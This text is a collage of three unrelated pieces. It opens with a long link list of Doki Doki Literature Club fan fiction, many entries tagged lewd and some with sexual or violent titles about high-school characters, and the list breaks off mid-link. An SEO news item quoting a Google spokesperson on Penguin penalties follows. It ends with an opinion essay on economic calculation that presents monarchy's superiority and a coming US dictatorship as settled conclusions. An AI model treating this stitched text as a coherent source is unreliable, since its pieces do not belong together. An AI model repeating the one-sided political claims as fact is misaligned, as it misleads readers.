Natsuki and Sayori by Aokaze (Not Lewd): https://pastebin.com/UyBCip4e Saysuki in the Classroom by Reflection (Lewd): https://www.dropbox.com/s/esiikg58nn5ar8l/Saysuki%20in%20the%20Classroom.docx?dl=0 DDLC Ex: Sayori and Natsuki's Day Out by POIU567 (Not Lewd): https://pastebin.com/KHMTFni5 DDLC Ex: "Maybe Everything Will Be OK" by POIU567 (Not Lewd): https://pastebin.com/XmrBn7wK Straining at the Leash Chapter 1 by FourLeafPyro (Lewd): http://archiveofourown.org/works/13821534/chapters/31785105 Straining at the Leash Chapter 2 by FourLeafPyro (Lewd): http://archiveofourown.org/works/13821534/chapters/31977534 Yuri and Sayori: Hanging Decorations by Anonymous (Not Lewd): https://pastebin.com/pAgAr966 Yuri and Sayori Go Shopping by Accula (Not Lewd): https://pastebin.com/KZC59pQa Shifting Skies (WIP) by Sunlight Sayorifag (Not Lewd): https://pastebin.com/CK10daKZ Natsuki x Anonymous: Safety by PBD_DDLC (Lewd): https://pastebin.com/e2MCuAMF Beginnings of a Drunk Natsuki Fanfiction by Anonymous (Not Lewd): https://pastebin.com/tf0rvAfT Monika and Natsuki: GameStart by Anonymous (unfinished) (Not Lewd): https://pastebin.com/t6iDybjL Play Stupid Games, Win Stupid Prizes by Chartanon (Not Lewd): https://pastebin.com/tfTXiNST Monika and Yuri: The End by Yuri-anon (Guro) (Lewd): https://pastebin.com/S8iT4qXk The End (Alternative non-guro) by Yuri-anon (Lewd): https://pastebin.com/b8eZdGdb Yuri's Secret by Yuri-anon (Lewd): https://pastebin.com/FzeZGsjH Monika vs Yuri Trailer by Anonymous (Not Lewd): https://pastebin.com/jw04ZvVy Monika vs Yuri (Full) by Anonymous (Not Lewd): https://pastebin.com/f2D7DVuk Yuri with Monika and Yuri by YetAnotherWriteAnon (Lewd): https://pastebin.com/fvJsHbTd Monika and Sayori: Act 5 by HealingAnon (Not Lewd): https://pastebin.com/4a8hqjpJ Act 5 Part 2 by HealingAnon (Not Lewd): https://pastebin.com/YaF5q89X Past and Future, but lacking Present, Me. by Anonymous (Not Lewd): https://pastebin.com/5QHyfrF0 Monika Cuckolds Sayori by Chartanon (Lewd, Cuckolding): https://pastebin.com/xzP2pybg Various Characters: Doki-Doki Alternative: Act 1 by Strv103: https://pastebin.com/j5X1VdJk Doki Doki by Anonymous: https://www.dropbox.com/s/kchw4tntvc11qly/Doki%20Doki.docx?dl=0 Sayori by Reflection: https://www.dropbox.com/s/7mxk1gzzosgzvhg/Sayori.docx?dl=0 Unfinished Something by Anonymous (expires on 10/28/2017) : https://pastebin.com/rVxxE6ks Hard Times Preview by Anonymous: https://pastebin.com/Bedqtx5i Hard Times Preview #2 by Anonymous: https://pastebin.com/KuXe3B1g Hard Times Preview #3 by Anonymous, Update starts from line #227: https://pastebin.com/pc1YWkdj Smash by Anonymous: https://www.dropbox.com/s/o1553yffs7x6cc8/Smash.docx?dl=0 Of Body and Soul Part 1 by Doki Doki Dickhead: https://pastebin.com/u1xEtvC9 Of Body and Soul Part 2 (Finished) by Doki Doki Dickhead (Update from line 21): https://pastebin.com/G2dhTbN8 Deleted Girls by Accula: https://pastebin.com/zkAXskpc Deleted Girls Part 2 by Accula: https://pastebin.com/nyBptBrm Deleted Girls Part 3 by Accula: https://pastebin.com/d5kwfPX1 Don't be a Doki Doki Dumbass by Doki Doki Dickhead: https://pastebin.com/7Ahrh4tu Seven Minutes in Heaven by Anonymous: https://pastebin.com/tYwBxSru Seven Minutes in Heaven by Anonymous Part 2: https://pastebin.com/VP9PK5A0 Deleted Girls Part 4 by Accula: https://pastebin.com/q16EunAa Deleted Girls Part 5 by Accula: https://pastebin.com/DRHFWxJ0 Wish Fulfillment by Anonymous: https://www.dropbox.com/s/kd7lf8wp9arc8gw/Wish%20Fulfillment.docx?dl=0 Sayori's Failed Voyeurism by Anonymous: https://pastebin.com/RkACP8Ln Sayori Gets Caught Again by Anonymous: https://pastebin.com/QbKZb79w Deleted Girls Part 6 by Accula: https://pastebin.com/btWGtjby Boss of this Club by Anonymous: https://pastebin.com/R80k0E9H Deleted Girls Part 7 by Accula: https://pastebin.com/F8KNTSHF A Dream by Anonymous: https://pastebin.com/G5X0dSGS Natsuki Onahole by NYSMFIC: https://pastebin.com/SVxmVUcp I'm so sorry by Anonymous: https://pastebin.com/6Wt9tWpj Camping (WIP) by Reallybee: https://pastebin.com/6PxDm1K4 Sensibility by Anonymous: https://pastebin.com/eF6Szspd Hard Times (Big Update) by Radlad: https://pastebin.com/UjhdKvS0 Masturbation Habits by Anonymous: https://pastebin.com/fpx5gNF8 Christmas Party by _EF_: https://pastebin.com/MtYRtYa4 Paizuri with Yuri and Noya (OC) by Anonymous: https://pastebin.com/iuya5deU SayoHana: But a Poem Is Never Actually Finished by SayoHana Project: https://pastebin.com/E3LGsaga Midnight Snack Part 2 by Necroanon: https://pastebin.com/wC3ZPeQc Isekai Dokis by Reflection: Fancy Font: https://www.dropbox.com/s/0jv6b2ph49umhcu/Chapter%201.pdf?dl=0 Normal Font: https://www.dropbox.com/s/8g5xb11ylhoxi36/Chapter%201.docx?dl=0 With Me Part 2 by Kaineon: https://pastebin.com/SqUJL24a Doki Rangers! Ep.1! The Rangers foil Mistress Evil! by Wooooo: https://pastebin.com/15VyzEW5 It Just Stops Moving by SayoHana Project (Brain-damaged Sayori): https://pastebin.com/VjS3GjmN Doki Rangers! Ep.2! The guiles of Mistress Perfume! by Wooooo: https://pastebin.com/tpycWNxn Together (Progress Report 1) by Einbacht: https://pastebin.com/yVmTbtgY Isekai Dokis Chapter 2 by Reflection: Fancy Font: https://www.dropbox.com/s/mr3zcg9s6aw9b6r/Chapter%202.pdf?dl=0 Normal Font: https://www.dropbox.com/s/gif3bd9kwlnvyvl/Chapter%202.docx?dl=0 Music and Soul by Laventale-: https://pastebin.com/zGgJ1tX3 The Doki Girls of the Literature Club by Wooooo: https://pastebin.com/psQ35bAz Pedal Pressure by MotivationalAnon (Lewd): https://pastebin.com/vJNwwq2V Wholesome Doki Greentexts by Pugbutter: https://pastebin.com/3Lq4cTji Thanksgiving by Anonymous: https://www.dropbox.com/s/arjvt6dgld8e4fq/Thanksgiving.pdf?dl=0 DDLC Extra: New Days by POIU567 (Not Lewd): https://pastebin.com/PZr7s8e4 The Lack of Something by YetAnotherWritebinAnon (Lewd): https://pastebin.com/VZ8ywJjC DDLC EX: Day 2, Part 1 by POIU567 (Not Lewd): https://pastebin.com/zzry978H DDLC EX: Cupcakes by POIU567 (Not Lewd): https://pastebin.com/B9faYtJF Doki Quest Day 1 by DokiQuest and Anonymous (they pick the choices): https://pastebin.com/JLn861EX DDLC EX: Festival by POIU567 (Not Lewd): https://pastebin.com/G6dmtcsD A Sailing Part 1 by NotUnderage (Not Lewd): https://pastebin.com/gLhuMBe7 A Sailing Part 2 by NotUnderage (Not Lewd): https://pastebin.com/pbJejg2C Anon Bullying by A Turnip (Wholesome and Lewd): https://pastebin.com/K2P0vGvL Just Monika by AnonymousWriterll (Not Lewd): https://pastebin.com/A4BzGS2y DDLC Ex: Festival, Part 2 by POIU567 (Not Lewd): https://pastebin.com/Nm3dKA3a Monika is Autistic for Sonic by Anonymous (Not Lewd): https://pastebin.com/5kzELXkb Sayori has fun with Anon and Monika by Anonymous (Lewd): https://pastebin.com/cyw7bR4r That Poor Pen by Doki Doki Dork (Lewd): https://pastebin.com/x5qQ0Mku DDLC Sequel Idea by Erika (Not Lewd): https://pastebin.com/Z4nZyW8t Sharing Company Part 1 by Yet Another Writeanon (Not Lewd): https://pastebin.com/RigCwppR DDLC EX: Day After Festival by POIU567 (Not Lewd): https://pastebin.com/uR7hFKJF It Just Stops Moving : Thread 200 Halloween Special by AnonHana (Not Lewd): https://pastebin.com/SJxpeGiG Monika is autistic for Sonic DX: Director's Cut by Anonymous (Not Lewd): https://pastebin.com/Ug6LJ3uw Parent Shadow Day by Various Anonymous (Somewhat Lewd, Depressing): https://pastebin.com/pCNnXxfG A Day at the Beach by Anonymous (Lewd): https://pastebin.com/wS43umTR The Runner's High by Gax19 (Not Lewd): https://pastebin.com/SCtYiNiK DDLC EX: Moving Day by POIU567 (Not Lewd): https://pastebin.com/mdECpq31 If Monika Didn't Have Powers by Anonymous (Not Lewd): https://pastebin.com/JPxzzdHr DDLC EX: Sayori Takes Charge by POIU567 (Not Lewd): https://pastebin.com/5xAhePd9 Sharing Company Part 2 by Yet Another Writeanon (Lewd): https://pastebin.com/Fj1dB1BW Doki Doki Literature Club (Beach Episode) by Tempest-Divinus (Not Lewd): https://pastebin.com/JnKbV1d0 Anon's Birthday Party by A Turnip (Not Lewd): https://pastebin.com/xjKaQtfS Lessons Learned by Anonymous (Not Lewd): https://pastebin.com/sYNVknnV Christmas Special by WholesomeMan (Not Lewd): https://pastebin.com/1zdm75PJ December 15; MMF 3P, Monika + Sayori by videogames (Lewd): https://pastebin.com/vHUF3c4P Monika's Order by Anonymous (Not Lewd): https://pastebin.com/30r7WLcb Ship Errands Part 1 by NotUnderage (Not Lewd): https://pastebin.com/bxCaRf2H December 16th: Orgy by videogames (Lewd): https://pastebin.com/irUtFwf6 December 19; Bodywriting + Humiliation by videogames (Lewd): https://pastebin.com/DJFJqkiD Espionage by Monikafag69 (Not Lewd): https://pastebin.com/jPqZsT94 DDLC: Code Silver by Baron Salami (Not Lewd): https://pastebin.com/4Sg9nGCw A Peaceful Walk by YetAnotherWriteAnon (Not Lewd): https://pastebin.com/tyWUtNFP Pleasant Surprise by YetAnotherWriteAnon (Lewd): https://pastebin.com/ZXPFaVA6 I'm gonna make them give Sayori Back by Anonymous (Not Lewd): https://pastebin.com/Se9qGbA2 I'll be there for you (Sayori's Path) by Anonymous (Not Lewd): https://pastebin.com/UxsUJuVX I'll be there for you (Yuri's path) by Anonymous (Not Lewd): https://pastebin.com/0chZNEVE Natsuki's Sun by Anonymous (Not Lewd, Slightly Violent): https://pastebin.com/PUtWGAuk Revenge by Kriterino-Cappucino (Not Lewd, Violent): https://pastebin.com/74J6PWGb What Happens When Anons Collaborate (A Mess): https://pastebin.com/VQWsb5gf K Club by In Tandem (Not Lewd): https://pastebin.com/1LCb5HvZ December 29; BRAAAAP by videogames (Lewd, Farting, Shit): https://pastebin.com/1kcEu8mi.366 TKM by BaronSalami (Not Lewd): https://pastebin.com/BscvuL37 Just Another Dokiful Day by NecroanonDDLC (Not Lewd): https://pastebin.com/qeXEKRFm Doki Doki Mafia Club by Icebweaka9 (Not Lewd): https://pastebin.com/0ZBUV59X Sayori's Romantic Love Story by HitmanAnon (Bloody, Kinda Lewd, Dark): https://pastebin.com/vrjbqFWQ Dokis, whiskey, and gun powder by Anonymous (Not Lewd): https://pastebin.com/EQb3kUWU This Reality by Anonymous (Not Lewd): https://pastebin.com/fMfwi57U December 31 by videogames (Bloody, Not Lewd): https://pastebin.com/bJZD1gLq Monika's Reunion by HitmanAnon (Lewd, NTR): https://pastebin.com/Q4tbMKsu If we don't know how to love you by Kriterino-Cappucino (Not Lewd): https://pastebin.com/RS6QKbVB Dokis, whiskey, and gun powder Part 2 by Anonymous (Not Lewd): https://pastebin.com/LC30kpBj Dokis, whiskey, and gun powder Part 3 by Anonymous (Not Lewd): https://pastebin.com/hkz18rVr Hourglass by NotUnderage (Not Lewd): https://pastebin.com/ZtbDXYPr Dokis, whiskey, and gun powder Part 4 by Anonymous (Not Lewd): https://pastebin.com/GuruNJxh Yuri's Tea Kettle Dilemma by Anonymous (Not Lewd): https://pastebin.com/J14A3EBy Yuri Noir by HitmanAnon (Not Lewd): https://pastebin.com/7HVmmQUU Dokis, whiskey, and gun powder Part 5 by Anonymous (Not Lewd): https://pastebin.com/zUuwNcjF DDLC Ex: Yuri's House by POIU567 (Not Lewd): https://pastebin.com/xp0gpFwt Sayori and Monika's Secret by EmeraldRunner (Lewd): https://pastebin.com/ytdewLRt Dokis, whiskey, and gun powder Part 6 by Anonymous (Not Lewd): https://pastebin.com/gg6XCLyg Dokis, whiskey, and gun powder Part 7 by Anonymous (Not Lewd): https://pastebin.com/ejn3zW7M A World Without Power chapter 1 by Anonymous (Not Lewd): https://pastebin.com/Bk7PYyw3 Anon goes to war by Strelok1 (Not Lewd): https://pastebin.com/NFH3n9cS Doki Doki X-Ray by Skellyman (Lewd): https://pastebin.com/uLGPc95r Her Trust and What's Best by Orikibi (Not Lewd): https://pastebin.com/piSWAZYK Memory Error by Orikibi (Not Lewd): https://pastebin.com/PhhPS4Rd Kind of OOC Natsuki/Anon by Anonymous (Not Lewd): https://pastebin.com/YHp0MmyE Fairgrounds by Anonymous (Not Lewd): https://pastebin.com/fxqeGxt3 Vampdokis by A Turnip (Lewd, Necrophilia, Resuscitation, and Blood): https://pastebin.com/Kh9mgHJW Doki Doki Breeding Club by Anonymous (Lewd): https://pastebin.com/Xr0zDFpT A Love Shattered by Strelok1 (Not Lewd, Bloody, Suicide): https://pastebin.com/vb9x8vt0 Dokis, whiskey, and gun powder Part 8 (Finale) by Anonymous (Not Lewd): https://pastebin.com/12xnBQyE VK-02 by VKAnon (Not Lewd): https://pastebin.com/6zLS2jJ2 Psycho and Supplicant by Anonymous (Lewd): https://pastebin.com/jUNbj6Uf VK-03 by VKAnon (Not Lewd): https://pastebin.com/d5dzUnGz Dokis, whiskey, and gun powder: The Southern Border Pt. 1 by Anonymous (Not Lewd): https://pastebin.com/3VKqvjCN VK-04 by VKAnon (Not Lewd): https://pastebin.com/QqgiWWyE Dokis, whiskey, and gun powder: The southern border part 2 by Anonymous (Not Lewd): https://pastebin.com/TS0UPCAv Group Project by Anonymous (Lewd): https://pastebin.com/zWFkNrHF Atonement by HuervoAnon (as Anonymous) (Not Lewd): https://pastebin.com/m30wcsab Atonement (Fixed) by HuervoAnon (Not Lewd): https://pastebin.com/6WRfCKAi DDLC Ex: Returning the Favor by POIU567 (Not Lewd): https://pastebin.com/drwgEz7d Four Girls and the Cursed Treasure of Coyotli: Chapter One by HuervoAnon (Not Lewd): https://pastebin.com/r6pqHNyt Four Girls and the Cursed Treasure of Coyotli: Chapter Two by HuervoAnon (Not Lewd): https://pastebin.com/vewxGJFy DDLC Ex: Jasmine Green Tea by POIU567 (Not Lewd): https://pastebin.com/vySG9qQ1 Ship Errands Part 2 by NotUnderage (Not Lewd): https://pastebin.com/PqNiKcXq Dokis, whiskey, and gun powder: The southern border part 3 by Anonymous (Not Lewd): https://pastebin.com/y3DRaUzm nu-VK by VK-Anon (Not Lewd): https://pastebin.com/FSsr1VpS Four Girls and the Cursed Treasure of Coyotli: Chapter Three by HurevoAnon (Not Lewd): https://pastebin.com/Ef3nnfRC Dokis, whiskey, and gun powder: The southern border part 4 by Anonymous (Not Lewd): https://pastebin.com/DNrazc4u Beachtime by EmeraldRunner (Not Lewd): https://pastebin.com/xJbCRDbg Hostage Situation: Escape by Anonymous (WIP, Not Lewd): https://pastebin.com/GKjB6R8n Hostage Situation WIP#2 by Anonymous (WIP, Not Lewd): https://pastebin.com/UUva23vU Dokis vs Katawas by TroubledWriterAnon (Not Lewd): https://pastebin.com/mHmw49mR Four Girls and the Cursed Treasure of Coyotli: Chapter Four by HuervoAnon (Not Lewd): https://pastebin.com/aMqFV131 The Literature Competition! by Chartanon (Not Lewd): https://pastebin.com/ndyFShR9 Dokis vs Katawas Part 1.5 by TroubledWriterAnon (Not Lewd): https://pastebin.com/GZ1kQWKF Dokis, whiskey, and gun powder: The southern border part 5 by Anonymous (Not Lewd): https://pastebin.com/UycPf39Y Dokis vs Katawas Part 2 by TroubledWriterAnon (Not Lewd): https://pastebin.com/kpR2vt4H Surprise! by Fooolsgold (Not Lewd): https://pastebin.com/cZaRjS4z Doki Doki Delinquent Club by JewandGoy (Lewd, Violent): https://pastebin.com/sNMFJd21 Parfait Girls: Dub vs Sub by Anonymous (Not LEwd0: https://pastebin.com/7uDLDJnJ Goy's Workout Story by JewandGoy (Not Lewd, OOC): https://pastebin.com/hs9fJL4F DDLC EX: Weekend Apart Part 1 by POIU567 (Not Lewd): https://pastebin.com/jSQwNRw1 Doki Gang Warfare 2.5 by TroubledWriterAnon (Not Lewd): https://pastebin.com/LGSzj6Di All the things that were taken away by Anonymous (Not Lewd): https://pastebin.com/6YaxB0g9 Megami Quest 2 with Dokis by Anonymous (Not Lewd): https://pastebin.com/JDh4S1XK DDLC EX: Bonding by POIU567 (Not Lewd): https://pastebin.com/tvLKHC3H DDLC EX: Weekend Apart Part 2 by POIU567 (Not Lewd): https://pastebin.com/xbv252zz Four Girls and the Cursed Treasure of Coyotli: Chapter Five by HuervoAnon (Not Lewd): https://pastebin.com/wCU8H753 Monster Madness by YetAnotherWriteAnon (Not Lewd): https://pastebin.com/DGzg27fk Between Cripples and Dokis by TroubledWriterAnon (Not Lewd): https://pastebin.com/ejJs7wYT Doki Doki Zee Cruise by Lampposter (Not Lewd): https://pastebin.com/fc00X3TH DDLC Ex: Rainy Day by POIU567 (Not Lewd): https://pastebin.com/Es4MgcF8 Doki Doki Vampire Thralls by Hypnoficanon (Implied Lewd): https://pastebin.com/SKyUM2Sz Behind Closed Doors by JewandGoy (Lewd, Harem): https://pastebin.com/EEdxm5Mh Doki Doki Dreamweaving Club by Anonymous (Not Lewd): https://pastebin.com/MhM482j7 DDLC EX: Growing Friendship by POIU567 (Not Lewd): https://pastebin.com/GrfZerSJ Day 1 in the Wrong Promised Day Part 2 by Thebreadman15 (Not Lewd): https://pastebin.com/j2yS1VbP The Wrong Promised Day: Deception and Defeat by Thebreadman15 (Not Lewd): https://pastebin.com/3qLydNZ1 Short Dokitexts Volume 1 by wholesomecomfyan0n (Not Lewd): https://pastebin.com/yyGwmmnv Doki Doki Easter Club by Valenheart (Not Lewd): https://pastebin.com/Ev0hxnuP Sayori's Poem! (Trapped in the Wrong Promised Day) Part 5 (Not Lewd) by thebreadman15: https://pastebin.com/LfJ3d9XT Dokis, whiskey, and gun powder: The southern border part 6 by Anonymous (Not Lewd): https://pastebin.com/5GN2sbhT Sayori's confession: The Wrong Promised Day, part 6 by thebreadman15 (Not Lewd): https://pastebin.com/TuQsB54J DDLC Ex: Dokis and Dragons Prologue by POIU567 (Not Lewd): https://pastebin.com/6rTN8vZD Poem Sharing in the Wrong Promised Day (Part 8) by Thebreadman15 (Not Lewd): https://pastebin.com/aiQiDc2C Doki Selects by Anonymous (Not Lewd): https://pastebin.com/wtUF3AKH MC-Chan Learns Some Things by VarietyMan (Lewd, WIP): https://pastebin.com/2mU8c2YY The Dokis go Babysit by SuperStoryFunTime (Not Lewd): https://pastebin.com/bM6c83C5 The Dokis go Babysit Part 2 by SuperStoryFunTime (Not Lewd): https://pastebin.com/VKgg0Jtq DDLC EX: Dokis and Dragons by POIU567 (Not Lewd): https://pastebin.com/2AMmzNRg Dokis, whiskey, and gun powder: The southern border part 7 by Anonymous (Somewhat Lewd): https://pastebin.com/H8yhZDET Dokis, whiskey, and gun powder: The southern border part 8 by Anonymous (Not Lewd): https://pastebin.com/TAsgSavD After the Festival by Magnolia Summer (Lewd): https://pastebin.com/vXGhMiCC Assorted Greentexts by YetAnotherWriteAnon (Lewd): https://pastebin.com/wMeMfv76 Dokis, whiskey, and gun powder: The southern border part 9 by Anonymous (Not Lewd): https://pastebin.com/nuQLj5TL Unconditional Love by WholesomeYuriAnon (Not Lewd): https://pastebin.com/mX8KwyVv Field Trip by YetAnotherWriteAnon (Not Lewd): https://pastebin.com/2iE5SfaM Basket of Cookies by NotUnderage (Not Lewd): https://pastebin.com/FiywrKxF Various Shorts by Anonymous (Lewd): https://pastebin.com/iU |
) it probably doesn't work on a percentage. But he said it is possible to recover without disavowing or removing links, but he would still recommend you remove bad links.
He said this 33 minutes and 52 seconds into the video, when he was asked this. Here is the transcript from YouTube:
Question: Let's take a hypothetical situation where a webmaster doesn't know about the Webmaster Tools disavow tool, and the majority of his links are directories or websites selling links, and is obviously affected by the Penguin penalty. Meanwhile, he goes ahead and gets some good-quality links, and the percentage of low-quality links changes-- gets smaller. But again, he doesn't use a disavow file or anything else. Would this help him-- so if the majority of the links become the quality links, would this help him remove or would Google robot remove the Penguin penalty?
JOHN MUELLER: That would definitely help. Yeah. So, I mean, we look at it on an aggregated level across everything that we have from your website. And if we see that things are picking up and things are going in the right direction, then that's something our algorithms will be able to take into account. So in the hypothetical situation of someone who doesn't know about any of this and they realized they did something wrong in the past and they're working to improve that in the future, then that's something that our algorithms will pick up on and will be able to use as well. Still, if you're in that situation, it wouldn't be that I'd say you should ignore the disavow tool and just focus on moving forward in a good way, but instead really trying to clean up those old issues as well. And it's not something where we'd say that using the disavow tool is a sign that you're a knowledgeable SEO and that you should know better about these links. It's essentially a technical thing on our side, where we don't take those links into account anymore. It doesn't count negatively for your website if you use a disavow tool. It's not something you should be ashamed of using. If you know about this tool, if you know about problematic links to your site, then I just recommend cleaning that up.
Question: OK. I'm not really in that situation. Again, it was just a hypothetical. I was mainly curious from a technical point of view. I mean, would the penalty actually get removed if the majority of the percentage of low-quality links diminishes? The actual Penguin penalty-- would it be removed?
JOHN MUELLER: Yeah. That's something that our algorithms would take into account-- where if they look at the site overall and they see that this is essentially improving, if it looks like things are headed in the right way and the important links are really good links that are recommendations by other people, then they'll be able to take that into account and modify whatever adjustment there was made with that change there on that website. So they would take that into account. I wouldn't say that you have to have more than 50% and then the algorithm will disappear for your website. Let's say there are lots of shades of gray involved there, where the algorithm could say, well, this is looked really bad in the beginning. They worked a lot to kind of improve things overall. Things were improving significantly across the web with lots of good recommendations for this site. So it's kind of headed in the right direction. So it wouldn't be that it disappears completely, but maybe it'll kind of step-by-step improve.
This was spotted by Whitey in WebmasterWorld.
Forum discussion at WebmasterWorld and Google+.Economic calculation revisited – the case of monopoly, socialism and the Road to Serfdom
The economic calculation problem of socialism is similar to the problem of economic calculation under monopoly. However, the absence of private ownership under socialism adds an additional layer of chaos to socialism, which is exacerbated under democratic political competition. This is what makes monarchy preferable to democracy, yet inferior to a free market of security.
The idea of a free market in security and justice was first formulated by Franco-Italian economist Gustave de Molinari in the mid-19th century essay The Production of Security. In this essay, de Molinari applies modern economic analysis to the problem of the state, and finds that economists who opposed salt monopolies must also oppose monopolies of security or else contradict themselves. de Molinari’s still-revolutionary innovation was introducing economic analysis to the process of government.
Defending monopoly was not a problem for socialist ideologues (according to Marx, the end result of capitalism was monopoly) until early in the formation of the Soviet Union, when Ludwig von Mises published Economic Calculation in the Socialist Commonwealth. His argument was that without capital markets, and thus prices for capital, the socialist economy was unable to economize and would thus end up producing a lot of the wrong things. Socialists dismissed the critique by claiming that Soviet planners were just as capable of making economic valuations as capitalists, and there was nothing exceptional about the market process that could not be simulated under socialism. The system went on producing a lot of the wrong things until the Soviet Union gave up and dropped dead. It was eventually Hayek who would clarify the debate, and refute the socialist objection to the economic calculation problem, by pointing out the key difference between a socialist and free market economy: in the socialist economy, there is only one economic calculator in the capital markets, while in the free market economy every individual is an economic calculator of the capital markets. This makes the free market economy several orders of magnitude more productive with the capital stock.
To make sense of this comparison at all, we must first understand Hayek’s distinction between tacit knowledge and scientific knowledge.
Today it is almost heresy to suggest that scientific knowledge is not the sum of all knowledge. But a little reflection will show that there is beyond question a body of very important but unorganized knowledge which cannot possibly be called scientific in the sense of knowledge of general rules: the knowledge of the particular circumstances of time and place. It is with respect to this that practically every individual has some advantage over all others because he possesses unique information of which beneficial use might be made, but of which use can be made only if the decisions depending on it are left to him or are made with his active coöperation. (…) We must look at the price system as such a mechanism for communicating information if we want to understand its real function—a function which, of course, it fulfils less perfectly as prices grow more rigid. The Use of Knowledge in Society, Friedrich A. Hayek 1945
As Hayek explains it, the total human knowledge contains both so-called scientific knowledge, such as the Pythagoras theorem, the species of plant life, or the structural moments of bridges, and facts about time and place, such as the relative need for housing in the Yukon territory. While scientific facts are common to everyone, and, assuming they are not under dispute, can be known best by a select group of scientific experts, knowledge about time and place is literally infinite, and every individual human being has a different perspective of it by the fact that each individual takes on a different journey through their lives. From the fact that such knowledge can only be earned from experience, it follows that it cannot possibly be centralized. That is what makes central planning undesirable.
How does this fact introduce an economic problem? For Robinson Crusoe, alone on his island, the sum total of human knowledge is only his own perspective and experience. He alone can make use of the island’s capital goods, and so he can decide how to make the most economic use of these goods based on his knowledge of their productive value. The economic calculation problem, as introduced by Mises and expanded by Hayek, does not arise until a second person arrives on the island, Friday, who has his own perspective and knowledge of the productive value of the island’s capital. As such, Crusoe and Friday can disagree on the use of this capital.
This disagreement is resolved through trade. Suppose that Crusoe believes that a net can produce an extra 12 fish a day, while Friday knows, from growing up in a fishing village, that it can produce 30, Friday can attempt to convince Crusoe that producing a net is much more valuable than building more shelter. This process of sharing information is not free, it consumes time and can fail if only experience provides confidence in this fact. As such, Friday can more easily trade with Crusoe for the capital needed to produce the net, and while Crusoe may not believe that Friday is making a good investment, Friday will be justified once the productivity of the net that only he believes in is achieved. As such, the division of knowledge is an aspect of the division of labor.
Extrapolated to a global economy of billions of humans, it means that for each capital good, irrespective of it being small in scale (a farm or shop) or large in scale (the Apple Computers corporation), there is only one individual who is best suited to owning this good and achieving the highest productivity from it. To own capital, in this sense, is to be able to make use of it as the individual best deems it without having to provide any justifications to people who do not have the appropriate knowledge. The capitalist does not need to explain his decisions concerning his capital, for the reason that this would not be an economy of knowledge.
What is the economy of knowledge under a monopoly? A monopolist is granted exclusivity in the production of a specific good or class of goods, and thus is de facto the exclusive employer of the capital goods involved in this production. A monopolist can only achieve this position by destroying all competing producers of security in the market, or by obtaining the privilege of a monopoly from the monopolist producer of security. The original monopoly is therefore the classical monarchy, which forbids all other sources of justice from operating within the state. The monarchy could sometimes sell monopolies to individuals in return for immediate cash, such as a monopoly on salt. What did such a monopoly mean for the consumers of justice or salt? It meant that other producers could not act upon their advantageous experience or knowledge of unfulfilled opportunities, and because of this the supply of salt and justice was inferior to its full potential, and also for this reason the capital goods used in the production of monopolized goods had lower market value than their full potential. That being said the monopolist of salt may be limited to the role of a Robinson Crusoe of the salt market, but he was still a rational economic actor, he still had the incentive to increase and improve his capital and could produce high quality salt, although in reduced supply. He might even sell his monopoly to another monopolist, who would yet again be a Robinson Crusoe of salt but with higher productivity. In either case, however, there would not be the possibility for a second salt producer, and thus the salt market would be below its full potential supply to the detriment of salt consumers.
One can see how monarchy, despite being a monopoly of the production of justice, might still supply the market for justice adequately, at least in comparison to other forms of government. For one thing, in order to first set up a monarchy, one must be competent enough to wipe out the competition. Similarly one can only purchase a salt monopoly if enough capital has been accumulated to pay off the monarch. So while a monopoly is exploitative, it is not inefficient. However, due to its exploitative nature, and because some people would tend to be more exploited than others, monarchy produced revolutionary uprisings. Some of these uprisings replaced the monarchy with an electoral republic, which we may call the American system, while others with a radically socialist single-party rule, which we may call the Soviet system.
Mises’ critique was leveled at the Soviet system of socialism, but how would economic calculation differ between Soviet socialism and monarchy? Under monarchy the production of security is monopolized, but there is no incentive to monopolize any other capital market other than as an emergency liquidity measure. Under Soviet socialism two things happen, the party becomes a semi-hereditary ruler of the state (where the dictator appoints the peers who will select the next dictator), and the state implements monopolies in every industry. So, while the state has an incentive to preserve and increase capital (and this was seen in the violent industrialization of the USSR leading up to WWII), it has no means of knowing how best to do this due to the party being the single economic calculator implementing the plan. The only alternative, as Mises explained, is to import prices and techniques from the free market countries and attempt, with more or less success, to replicate them in a different time and place. Eventually the system must fail to keep up with those differences, and Soviet-style socialism must end in an economic collapse.
This must not necessarily involve a political collapse. If the party, which rules the state securely and permanently, can give up its policy of total monopolization and allow other capitalists to enter the market, thus expanding economic calculation to the whole population, it can rejuvenate its economy and continue to rule (and exploit) a dynamic and prosperous state. This was the choice made by the Chinese Communist Party, and today its grip on power is stronger than ever, and so is the health of the Chinese state. The Communist Party of the Soviet Union, on the other hand, chose to preserve socialism but instead reform politics to the American system, and the result was total social and financial collapse.
What is economic calculation under the American system? First, we must define the American system as a bipartisan (or multipartisan as in some Western European states) political power-sharing constitution, which may or may not be democratic or egalitarian in nature, (universal suffrage did not arrive until the 20th century, when the modern political parties were already long established in power) and where periodically reoccurring elections turn the state over to the most popular party, which may rule until it falls out of favor. Under such a system the ruling party does not own the state and can only exploit it in the extreme short-term, however the means of exploitation are deliberately inefficient, requiring long public debate and transfers of information in order to decide action in any sphere, thus making it difficult to exploit the weak faction but also making it next to impossible to properly employ capital. Not only is there only one economic calculator in the American system, it is a collective economic calculator that requires that many individuals, some obviously lacking in intellect, be convinced through persuasion of the value of an action before enough agreement has been organized to act. The American system has therefore two perverse incentives, the incentive to rapidly consume the state’s capital stock, and the incentive to disrupt the operations of the state through endless information transfers.
While the state is small and acting merely as a general, absent-minded protector of the market economy (the utopian “minimal state”), its inefficiencies are barely noticeable, and only the occasional visit to the post office provides evidence of the system’s failures. But while it grows larger and takes monopolies over greater numbers of industries (the most destructive of all being the production of money through a central bank) the American system’s flaws become more and more destructive, and economic chaos follows. It was thus that the Soviet system, shortly after adopting the American system of political competition, rapidly fell apart financially, its assets looted by the oligarchs who kept the ruling party in power. Thus again, as Hayek wrote in The Road to Serfdom, the expansion of socialism in states run on the American system can only result in the establishment of a dictatorship that will do away with the deliberate inefficiencies of the system, all the while handing over unlimited power to the dictator. This is what unfolded in Germany’s short-lived American-style Weimar Republic. The continued expansion of the USA’s executive branch along with the expansion of socialism in the USA will eventually produce a similar dictatorship.
